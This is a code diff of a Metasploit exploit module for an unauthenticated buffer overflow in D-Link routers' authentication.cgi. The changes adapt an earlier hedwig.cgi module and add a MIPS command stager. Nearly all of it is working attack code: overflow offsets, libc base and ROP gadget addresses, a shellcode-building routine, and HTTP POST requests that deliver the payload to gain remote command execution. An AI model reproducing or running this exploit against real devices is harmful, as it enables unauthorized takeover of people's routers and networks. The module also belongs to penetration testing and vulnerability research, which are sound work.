renamed and other module removed

modules/exploits/linux/http/dlink_authentication_rop.rb

@@ -6,32 +6,34 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
-  Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it
+  Rank = ExcellentRanking
 
   HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] }
 
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStagerEcho
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
+      'Name'           => 'D-Link authentication.cgi Buffer Overflow',
       'Description'    => %q{
           This module exploits an anonymous remote code execution vulnerability on different D-Link routers.
-        This module has been tested successfully on D-Link DIR300-v2.14, DIR600 and DIR645A1_FW103B11.
+        This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the
+        DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated
+        environment. They are a little bit different in the first ROP gadget.
       },
       'Author'         =>
         [
           'Roberto Paleari', # Vulnerability discovery
-          'Craig Heffner',   # also discovered the vulnerability / help with some parts of this exploit
+          'Craig Heffner',   # also discovered the vulnerability / help with some parts of this module
           'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers
         ],
       'License'        => MSF_LICENSE,
       'Platform'       => ['linux'],
-      'Arch'           => ARCH_CMD,
+      'Arch'           => ARCH_MIPSLE,
-      'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' },
       'References'     =>
         [
-          [ 'OSVDB', '95950' ],
+          [ 'OSVDB', '95951' ],
           [ 'EDB', '27283' ],
           [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site
           [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router
@@ -39,9 +41,9 @@ class Metasploit3 < Msf::Exploit::Remote
         ],
       'Targets'        =>
         [
-          [ 'D-Link DIR-645 v1.03 - start telnetd',
+          [ 'D-Link DIR-645 1.03',
             {
-              'Offset'      => 973,
+              'Offset'      => 1011,
               'LibcBase'    => 0x2aaf8000,    #Router
               #'LibcBase'   => 0x40854000,    # QEMU environment
               'System'      => 0x000531FF,    # address of system
@@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     begin
       res = send_request_cgi({
-        'uri'     => "/hedwig.cgi",
+        'uri'     => "/authentication.cgi",
         'method'  => 'GET'
       })
 
@@ -72,16 +74,20 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def exploit
-    lport = datastore['LPORT']
-    cmd = "/usr/sbin/telnetd -p #{lport}"
-
     print_status("#{peer} - Trying to access the vulnerable URL...")
 
     unless check == Exploit::CheckCode::Detected
       fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
     end
 
-    # prepare our shellcode that triggers the crash:
+    print_status("#{peer} - Exploiting...")
+    execute_cmdstager(
+      :linemax => 200,
+      :concator => "&&"
+    )
+  end
+
+  def prepare_shellcode(cmd)
     shellcode = rand_text_alpha_upper(target['Offset'])                  # padding
     shellcode << [target['LibcBase'] + target['System']].pack("V")       # s0 - address of system
     shellcode << rand_text_alpha_upper(16)                               # unused reg $s1 - $s4
@@ -90,9 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote
         # .text:000159CC 10 00 B5 27    addiu   $s5, $sp, 0x170+var_160  # get the address of our command into $s5
         # .text:000159D0 21 28 60 02    move    $a1, $s3                 # not used
         # .text:000159D4 21 30 20 02    move    $a2, $s1                 # not used
-        # .text:000159D8 21 C8 00 02    move    $t9, $s0                 # $s0 - system
+        # .text:000159D8 21 C8 00 02    move    $t9, $s0	         # $s0 - system
-        # .text:000159DC 09 F8 20 03    jalr    $t9                      # call system
+        # .text:000159DC 09 F8 20 03    jalr    $t9	                 # call system
-        # .text:000159E0 21 20 A0 02    move    $a0, $s5                 # our cmd -> into a0 as parameter for system
+        # .text:000159E0 21 20 A0 02    move    $a0, $s5	         # our cmd -> into a0 as parameter for system
 
     shellcode << rand_text_alpha_upper(12)                               # unused registers $s6 - $fp
     shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V")   # $ra - gadget nr 1 (prepare the parameter for system)
@@ -103,20 +109,26 @@ class Metasploit3 < Msf::Exploit::Remote
 
     shellcode << rand_text_alpha_upper(16)                               # filler in front of our command
     shellcode << cmd
+  end
 
-    # now lets rock it ...
+  def execute_command(cmd, opts)
+    shellcode = prepare_shellcode(cmd)
 
-    print_status("#{peer} - Sending exploit ...")
+    begin
-
+      res = send_request_cgi({
-    res = send_request_cgi({
+        'method' => 'POST',
-      'method' => 'POST',
+        #'uri' => "/authentication_gdb.cgi",	#for debugging on the router
-      #'uri' => "/hedwig_gdb.cgi",	#for debugging on the router
+        'uri' => "/authentication.cgi",
-      'uri' => "/hedwig.cgi",
+        'cookie'   => "uid=test",
-      'cookie'   => "uid=#{shellcode}",
+        'encode_params' => false,
-      'encode_params' => false,
+        'vars_post' => {
-      'vars_post' => {
+          'uid'        => 'test',
-        'test'        => 'test',
+          'password'   => 'asd' << shellcode,
-      }
+        }
-    })
+      })
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
   end
 end